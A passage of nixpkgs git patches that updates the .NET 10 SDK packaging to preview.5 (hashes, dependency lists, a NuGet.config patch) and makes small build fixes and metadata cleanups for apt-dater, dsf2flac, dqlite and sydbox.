-        hash = "sha512-eMVLzIIt/r8dSXI4fllP97vD1woCYJOT9Nk66Q4svO+gCrwWpdf++CAkRqqQV965GU774t+DwHjCorm6Yf2UIg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-x64.tar.gz";
+        hash = "sha512-ueSPDBuLIz8L7Rjv2E3DWz3/T2yEBSycykD8cBo00dhnRN6sDxVckc68PlQnYXCtC1Haeo5z5Zen09JGcmCMGA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-osx-arm64.tar.gz";
-        hash = "sha512-s+AtjwF4bom8T43nEebtrpe5eeJwl7JnOqUcxRJDBoUzJe3JvomeukuoG2dpLNgeTHujiKFfhc7roEBPG9ySoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-arm64.tar.gz";
+        hash = "sha512-GFo+NBuSi6GyGPt2n7DYz9cWLFZ8zUaSj/znTWBpugxJHkTpBihVM1KDp0fpla9EUp62/OBtPAnFybCmIsOTYA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-osx-x64.tar.gz";
-        hash = "sha512-W4sGZhLE3QnjlVc0zf+7pwPObgPUD2iLSxNnmAsIQHrgeyNPUhnyIl7C222B7d0CxK+6ZK4QrDGIKnG2ARdTng==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-x64.tar.gz";
+        hash = "sha512-yvcOuvEYL9gD5goF8veTq29pAuw2W9lLCZAmeXCfsq72EioDJW2005NvM7mPZGI+jtoMZM+K6QKCnCPnRZhxSA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/10/deps.json b/pkgs/development/compilers/dotnet/10/deps.json
index 87355e6f6558..83ea7f516a81 100644
--- a/pkgs/development/compilers/dotnet/10/deps.json
+++ b/pkgs/development/compilers/dotnet/10/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "b890722011b39a8884ec857bb499438d520538191b2601a304911b1349ce679b",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.4.25225.6/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "sha256": "1ddbad5cdb2cd9ae46210b857a51b7600bd9c0486fffdf2eec7b706cad3a5dc0",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "b1185d89292819b14ea9c393868be5eed0fd722b651a4016bfa80f0cac46e7d4",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.4.25225.6/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "sha256": "c0007a54f1131ce85bf5505ab43ba789f54e32473025b3c0b0e70d284f69ab98",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
-    "hash": "sha256-r8cqB6Nkhq5J+ikxa+hIQnDphhrVYhTz7XbNfcixVXE=",
+    "hash": "sha256-rXwgVbPq3Pcg7uW3g33YXKZVcsV6FpVStDj3Bj5GehA=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.4.25225.6/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
-    "hash": "sha256-cjJgmHTj5fjPx++B0gjcbCFtWRykCkXsBPePXg+e5Zw=",
+    "hash": "sha256-kxlWQfdAFHyG+0bbIXfRJLC5Lqdexmbg3C6TJvxrQgs=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.4.25225.6/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "828340b2f9b3e9b13385f840df271731d9caa7ff363b042287d1a62da4ef8212",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.4.25225.6/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "sha256": "6a92974d09a17d1c8877ba6d2240098a5bc3ff7e8402bfd0a954ed5c3c08cc5b",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "a6ad2d037d9fe92c63461582123f684ed8ed42f62c5ff798060d792eee480d37",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.4.25225.6/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "sha256": "9c184f7bbd1604574ca85861f7b56eb23995512fa5794fa59ad2bd351878e3d3",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "0376c6dea743d4126071f8069e0a8614874c13a7c96b62bcdf24d1d35902a0e5",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.4.25225.6/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "sha256": "58baffa553eea84d182a2bfdc231e78bde3515f0077198a4853eadc40dc8e70b",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.5.25265.107/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "ab2ae08e77877b34cba335f3523456b01582b9015b28c7d7ef6b8f788b55d325",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.4.25225.6/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.4.25225.6.nupkg",
-    "version": "10.0.0-preview.4.25225.6"
+    "sha256": "80f8dc69af1b0cd55093b8a743598cb400be721050d20c900726780eb705bf33",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.5.25265.107/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.5.25265.107.nupkg",
+    "version": "10.0.0-preview.5.25265.107"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/10/release-info.json b/pkgs/development/compilers/dotnet/10/release-info.json
index 05ce0960e447..872ff7c8b108 100644
--- a/pkgs/development/compilers/dotnet/10/release-info.json
+++ b/pkgs/development/compilers/dotnet/10/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-L5uuZAzVnltb0DUX2hZUaQ/z56vF4bnDbX95uV8XN+o=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.4.25228.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-fLqwaZScsClR+QR+Zewfh6XEL3FJhNPFGhSZjk06CAg="
+  "tarballHash": "sha256-CPQoYRY4inICvVxad/P0bC0HS96wWFW4tSCvL3agWiw=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.5.25265.107.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-TTovg4C0TZs3f6vjj7FHLvvspHPEVrDuIXAHdwAJQRI="
 }
diff --git a/pkgs/development/compilers/dotnet/10/release.json b/pkgs/development/compilers/dotnet/10/release.json
index 86e291ae8e79..abcdf41c9538 100644
--- a/pkgs/development/compilers/dotnet/10/release.json
+++ b/pkgs/development/compilers/dotnet/10/release.json
@@ -1,11 +1,11 @@
 {
-  "release": "10.0.0-preview.4",
+  "release": "10.0.0-preview.5",
   "channel": "10.0",
-  "tag": "v10.0.0-preview.4.25258.110",
-  "sdkVersion": "10.0.100-preview.4.25258.110",
-  "runtimeVersion": "10.0.0-preview.4.25258.110",
-  "aspNetCoreVersion": "10.0.0-preview.4.25258.110",
+  "tag": "v10.0.0-preview.5.25277.114",
+  "sdkVersion": "10.0.100-preview.5.25277.114",
+  "runtimeVersion": "10.0.0-preview.5.25277.114",
+  "aspNetCoreVersion": "10.0.0-preview.5.25277.114",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "c22dcd0c7a78d095a94d20e59ec0271b9924c82c",
-  "officialBuildId": "20250508.10"
+  "sourceVersion": "ddf39a1b4690fbe23aea79c78da67004a5c31094",
+  "officialBuildId": "20250527.14"
 }
diff --git a/pkgs/development/compilers/dotnet/record-downloaded-packages.proj b/pkgs/development/compilers/dotnet/record-downloaded-packages.proj
index 87ede16716a3..f5483f3b9d70 100644
--- a/pkgs/development/compilers/dotnet/record-downloaded-packages.proj
+++ b/pkgs/development/compilers/dotnet/record-downloaded-packages.proj
@@ -2,8 +2,12 @@
   <Target Name="NuGetToNix"
     BeforeTargets="CopyInnerBuildRestoredPackages">
     <ItemGroup>
-      <_NuGetToNixPackageCache Include="$(ProjectDirectory)artifacts/sb/package-cache/"/>
+      <!-- dotnet 8 -->
       <_NuGetToNixPackageCache Include="$(ProjectDirectory)artifacts/source-build/self/package-cache/"/>
+      <!-- dotnet 9 -->
+      <_NuGetToNixPackageCache Include="$(ProjectDirectory)artifacts/sb/package-cache/"/>
+      <!-- dotnet 10 -->
+      <_NuGetToNixPackageCache Include="$(RepoArtifactsPackageCache)"/>
     </ItemGroup>
     <Exec
       Command="nuget-to-json '@(_NuGetToNixPackageCache)' >'$(ProjectDirectory)deps.json'"
diff --git a/pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch b/pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch
new file mode 100644
index 000000000000..a52fb2d9244a
--- /dev/null
+++ b/pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch
@@ -0,0 +1,26 @@
+From 393d224e7b05c73baf9f5d5130d7c9d15c5fc526 Mon Sep 17 00:00:00 2001
+From: David McFarland <corngood@gmail.com>
+Date: Fri, 13 Jun 2025 15:32:52 -0300
+Subject: [PATCH] source-build-externals: overwrite rather than append
+ NuGet.config
+
+---
+ .../src/repos/projects/Directory.Build.targets                  | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/source-build-externals/src/repos/projects/Directory.Build.targets b/src/source-build-externals/src/repos/projects/Directory.Build.targets
+index 5b374f4fc42..9ed8cff895c 100644
+--- a/src/source-build-externals/src/repos/projects/Directory.Build.targets
++++ b/src/source-build-externals/src/repos/projects/Directory.Build.targets
+@@ -101,7 +101,7 @@
+ ]]>
+       </NewNuGetConfigContent>
+     </PropertyGroup>
+-    <WriteLinesToFile Lines="$(NewNuGetConfigContent)" File="$(NewNuGetConfigFile)" />
++    <WriteLinesToFile Lines="$(NewNuGetConfigContent)" File="$(NewNuGetConfigFile)" Overwrite="True" />
+ 
+     <AddSourceToNuGetConfig NuGetConfigFile="$(NewNuGetConfigFile)"
+                             SourceName="%(_DependencyProjectsPackagesOutput.RepositoryName)"
+-- 
+2.49.0
+
diff --git a/pkgs/development/compilers/dotnet/vmr.nix b/pkgs/development/compilers/dotnet/vmr.nix
index 0be6e57fa8c4..702e0fe43606 100644
--- a/pkgs/development/compilers/dotnet/vmr.nix
+++ b/pkgs/development/compilers/dotnet/vmr.nix
@@ -139,6 +139,11 @@ stdenv.mkDerivation rec {
     ]
     ++ lib.optionals (lib.versionOlder version "9") [
       ./fix-aspnetcore-portable-build.patch
+    ]
+    ++ lib.optionals (lib.versionAtLeast version "10") [
+      # src/repos/projects/Directory.Build.targets(106,5): error MSB4018: The "AddSourceToNuGetConfig" task failed unexpectedly.
+      # src/repos/projects/Directory.Build.targets(106,5): error MSB4018: System.Xml.XmlException->Microsoft.Build.Framework.BuildException.GenericBuildTransferredException: There are multiple root elements. Line 9, position 2.
+      ./source-build-externals-overwrite-rather-than-append-.patch
     ];
 
   postPatch =
@@ -178,7 +183,7 @@ stdenv.mkDerivation rec {
       xmlstarlet ed \
         --inplace \
         -u //_:Project/_:PropertyGroup/_:BuildNumber -v 0 \
-        src/source-build-externals/src/application-insights/.props/_GlobalStaticVersion.props
+        src/source-build-externals/src/${lib.optionalString (lib.versionAtLeast version "10") "repos/src/"}application-insights/.props/_GlobalStaticVersion.props
 
       # this fixes compile errors with clang 15 (e.g. darwin)
       substituteInPlace \
@@ -193,53 +198,56 @@ stdenv.mkDerivation rec {
         -s \$prev -t elem -n KeepNativeSymbols -v false \
         src/runtime/Directory.Build.props
     ''
-    + lib.optionalString (lib.versionAtLeast version "9") ''
-      # repro.csproj fails to restore due to missing freebsd packages
-      xmlstarlet ed \
-        --inplace \
-        -s //Project -t elem -n PropertyGroup \
-        -s \$prev -t elem -n RuntimeIdentifiers -v ${targetRid} \
-        src/runtime/src/coreclr/tools/aot/ILCompiler/repro/repro.csproj
+    + lib.optionalString (lib.versionAtLeast version "9") (
+      ''
+        # repro.csproj fails to restore due to missing freebsd packages
+        xmlstarlet ed \
+          --inplace \
+          -s //Project -t elem -n PropertyGroup \
+          -s \$prev -t elem -n RuntimeIdentifiers -v ${targetRid} \
+          src/runtime/src/coreclr/tools/aot/ILCompiler/repro/repro.csproj
 
-      # https://github.com/dotnet/runtime/pull/98559#issuecomment-1965338627
-      xmlstarlet ed \
-        --inplace \
-        -s //Project -t elem -n PropertyGroup \
-        -s \$prev -t elem -n NoWarn -v '$(NoWarn);CS9216' \
-        src/runtime/Directory.Build.props
+        # https://github.com/dotnet/runtime/pull/98559#issuecomment-1965338627
+        xmlstarlet ed \
+          --inplace \
+          -s //Project -t elem -n PropertyGroup \
+          -s \$prev -t elem -n NoWarn -v '$(NoWarn);CS9216' \
+          src/runtime/Directory.Build.props
 
-      # patch packages installed from npm cache
-      xmlstarlet ed \
-        --inplace \
-        -s //Project -t elem -n Import \
-        -i \$prev -t attr -n Project -v "${./patch-npm-packages.proj}" \
-        src/aspnetcore/eng/DotNetBuild.props
+        # https://github.com/dotnet/source-build/issues/3131#issuecomment-2030215805
+        substituteInPlace \
+          src/aspnetcore/eng/Dependencies.props \
+          --replace-fail \
+          "'\$(DotNetBuildSourceOnly)' == 'true'" \
+          "'\$(DotNetBuildSourceOnly)' == 'true' and \$(PortableBuild) == 'false'"
 
-      # https://github.com/dotnet/source-build/issues/3131#issuecomment-2030215805
-      substituteInPlace \
-        src/aspnetcore/eng/Dependencies.props \
-        --replace-fail \
-        "'\$(DotNetBuildSourceOnly)' == 'true'" \
-        "'\$(DotNetBuildSourceOnly)' == 'true' and \$(PortableBuild) == 'false'"
+        # https://github.com/dotnet/source-build/issues/4325
+        xmlstarlet ed \
+          --inplace \
+          -r '//Target[@Name="UnpackTarballs"]/Move' -v Copy \
+          eng/init-source-only.proj
 
-      # https://github.com/dotnet/source-build/issues/4325
-      xmlstarlet ed \
-        --inplace \
-        -r '//Target[@Name="UnpackTarballs"]/Move' -v Copy \
-        eng/init-source-only.proj
+        # error: _FORTIFY_SOURCE requires compiling with optimization (-O) [-Werror,-W#warnings]
+        substituteInPlace \
+          src/runtime/src/coreclr/ilasm/CMakeLists.txt \
+          --replace-fail 'set_source_files_properties( prebuilt/asmparse.cpp PROPERTIES COMPILE_FLAGS "-O0" )' ""
 
-      # error: _FORTIFY_SOURCE requires compiling with optimization (-O) [-Werror,-W#warnings]
-      substituteInPlace \
-        src/runtime/src/coreclr/ilasm/CMakeLists.txt \
-        --replace-fail 'set_source_files_properties( prebuilt/asmparse.cpp PROPERTIES COMPILE_FLAGS "-O0" )' ""
-
-      # https://github.com/dotnet/source-build/issues/4444
-      xmlstarlet ed \
-        --inplace \
-        -s '//Project/Target/MSBuild[@Targets="Restore"]' \
-        -t attr -n Properties -v "NUGET_PACKAGES='\$(CurrentRepoSourceBuildPackageCache)'" \
-        src/aspnetcore/eng/Tools.props
-    ''
+        # https://github.com/dotnet/source-build/issues/4444
+        xmlstarlet ed \
+          --inplace \
+          -s '//Project/Target/MSBuild[@Targets="Restore"]' \
+          -t attr -n Properties -v "NUGET_PACKAGES='\$(CurrentRepoSourceBuildPackageCache)'" \
+          src/aspnetcore/eng/Tools.props
+      ''
+      + lib.optionalString (lib.versionOlder version "10") ''
+        # patch packages installed from npm cache
+        xmlstarlet ed \
+          --inplace \
+          -s //Project -t elem -n Import \
+          -i \$prev -t attr -n Project -v "${./patch-npm-packages.proj}" \
+          src/aspnetcore/eng/DotNetBuild.props
+      ''
+    )
     + lib.optionalString isLinux (
       ''
         substituteInPlace \

From 99b2abcc073b0dd2d352d2f1ea1140dfe6b714eb Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 15:17:12 +0800
Subject: [PATCH 1078/4511] apt-dater: fix build

(cherry picked from commit 3bd0085ec557218929c70c4fe3d7c47366951de2)
---
 pkgs/by-name/ap/apt-dater/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ap/apt-dater/package.nix b/pkgs/by-name/ap/apt-dater/package.nix
index d06cf9ad3bd8..882b67f1097f 100644
--- a/pkgs/by-name/ap/apt-dater/package.nix
+++ b/pkgs/by-name/ap/apt-dater/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation {
 
   prePatch = ''
     substituteInPlace etc/Makefile.am \
-      --replace-fail 02770 0770
+      --replace-fail 02770 0770 \
+      --replace-fail '../../../$(pkglibdir)' '$(pkglibdir)'
   '';
 
   postPatch = ''

From 606b5900a03e853d9b49706615c59ad329f846d2 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 13:47:53 +0800
Subject: [PATCH 1079/4511] dsf2flac: avoid with lib;

(cherry picked from commit 8d81e1a9b8a82af195aafec0ace218ae8593d76b)
---
 pkgs/by-name/ds/dsf2flac/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ds/dsf2flac/package.nix b/pkgs/by-name/ds/dsf2flac/package.nix
index 0296c08a4429..a0eeef57b39c 100644
--- a/pkgs/by-name/ds/dsf2flac/package.nix
+++ b/pkgs/by-name/ds/dsf2flac/package.nix
@@ -43,11 +43,11 @@ stdenv.mkDerivation {
 
   configureFlags = [ "--with-boost-libdir=${boost.out}/lib" ];
 
-  meta = with lib; {
+  meta = {
     description = "DSD to FLAC transcoding tool";
     homepage = "https://github.com/hank/dsf2flac";
-    license = licenses.gpl2;
-    maintainers = with maintainers; [ artemist ];
+    license = lib.licenses.gpl2;
+    maintainers = with lib.maintainers; [ artemist ];
     platforms = [ "x86_64-linux" ];
     mainProgram = "dsf2flac";
   };

From 262e6b9e1886b461e74e30877352b408f2629afc Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 13:47:15 +0800
Subject: [PATCH 1080/4511] dsf2flac: fix build

(cherry picked from commit e3db3c2433dffb33430812524c9e29c77e4b2b9e)
---
 pkgs/by-name/ds/dsf2flac/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ds/dsf2flac/package.nix b/pkgs/by-name/ds/dsf2flac/package.nix
index a0eeef57b39c..1f94ca04820d 100644
--- a/pkgs/by-name/ds/dsf2flac/package.nix
+++ b/pkgs/by-name/ds/dsf2flac/package.nix
@@ -38,7 +38,7 @@ stdenv.mkDerivation {
   enableParallelBuilding = true;
 
   preConfigure = ''
-    export LIBS="$LIBS -lz"
+    export LIBS="$LIBS -lz -lboost_timer"
   '';
 
   configureFlags = [ "--with-boost-libdir=${boost.out}/lib" ];

From 6ffa02e4d1dfe7220e4e50f12cb318800d8dd2cc Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 13:43:23 +0800
Subject: [PATCH 1081/4511] dsf2flac: unstable-2021-07-31 ->
 0-unstable-2025-01-31

(cherry picked from commit 4285cec612d16e515d5463e0389ca5ccb45d33cd)
---
 pkgs/by-name/ds/dsf2flac/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ds/dsf2flac/package.nix b/pkgs/by-name/ds/dsf2flac/package.nix
index 1f94ca04820d..f690db195c8b 100644
--- a/pkgs/by-name/ds/dsf2flac/package.nix
+++ b/pkgs/by-name/ds/dsf2flac/package.nix
@@ -13,13 +13,13 @@
 
 stdenv.mkDerivation {
   pname = "dsf2flac";
-  version = "unstable-2021-07-31";
+  version = "0-unstable-2025-01-31";
 
   src = fetchFromGitHub {
     owner = "hank";
     repo = "dsf2flac";
-    rev = "6b109cd276ec7c7901f96455c77cf2d2ebfbb181";
-    sha256 = "sha256-VlXfywgYhI2QuGQvpD33BspTTgT0jOKUV3gENq4HiBU=";
+    rev = "39d43901ce27d0cc53b5a4eb277a65082e9906f0";
+    hash = "sha256-I8BupNE49+9oExR/GhoZUVbCHhDJEz3hhvQnbi8ZVGs=";
   };
 
   buildInputs = [
@@ -46,7 +46,7 @@ stdenv.mkDerivation {
   meta = {
     description = "DSD to FLAC transcoding tool";
     homepage = "https://github.com/hank/dsf2flac";
-    license = lib.licenses.gpl2;
+    license = lib.licenses.gpl2Plus;
     maintainers = with lib.maintainers; [ artemist ];
     platforms = [ "x86_64-linux" ];
     mainProgram = "dsf2flac";

From 46a38af8a7e8ce5c7f2dcc25018aa879301d98d3 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 13:21:23 +0800
Subject: [PATCH 1082/4511] dqlite: use finalAttrs

(cherry picked from commit aec172c0dffbffdd741aee0fe64f0aa87b7cf7ef)
---
 pkgs/by-name/dq/dqlite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/dq/dqlite/package.nix b/pkgs/by-name/dq/dqlite/package.nix
index 0405502e9ac1..7c8a9226671e 100644
--- a/pkgs/by-name/dq/dqlite/package.nix
+++ b/pkgs/by-name/dq/dqlite/package.nix
@@ -11,14 +11,14 @@
   lxd-lts,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "dqlite";
   version = "1.18.1";
 
   src = fetchFromGitHub {
     owner = "canonical";
     repo = "dqlite";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-7ou077ozbpH21PcvEEcprr4UYJ/X398Ph9dh5C3YyBQ=";
   };
 
@@ -57,4 +57,4 @@ stdenv.mkDerivation rec {
     maintainers = [ ];
     platforms = platforms.linux;
   };
-}
+})

From 981faf689738369ba7e5332317c1035bc5079466 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 13:22:17 +0800
Subject: [PATCH 1083/4511] dqlite: avoid with lib;

(cherry picked from commit 7836a555c3d09fac5247b78bad1356627909b812)
---
 pkgs/by-name/dq/dqlite/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/dq/dqlite/package.nix b/pkgs/by-name/dq/dqlite/package.nix
index 7c8a9226671e..3a4040d2c9a3 100644
--- a/pkgs/by-name/dq/dqlite/package.nix
+++ b/pkgs/by-name/dq/dqlite/package.nix
@@ -47,14 +47,14 @@ stdenv.mkDerivation (finalAttrs: {
     inherit lxd-lts;
   };
 
-  meta = with lib; {
+  meta = {
     description = ''
       Expose a SQLite database over the network and replicate it across a
       cluster of peers
     '';
     homepage = "https://dqlite.io/";
-    license = licenses.asl20;
+    license = lib.licenses.asl20;
     maintainers = [ ];
-    platforms = platforms.linux;
+    platforms = lib.platforms.linux;
   };
 })

From f2e6d396566e1970679d692d1ec28e62057e7230 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 7 Jun 2025 18:47:23 +0000
Subject: [PATCH 1084/4511] sydbox: 3.34.0 -> 3.35.1

(cherry picked from commit 69e3a3a4cda0079b8f652eadc59fd858ede11b3f)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index f61fdc2f85b5..3a51a9ac6375 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.34.0";
+  version = "3.35.1";
 
   outputs = [
     "out"
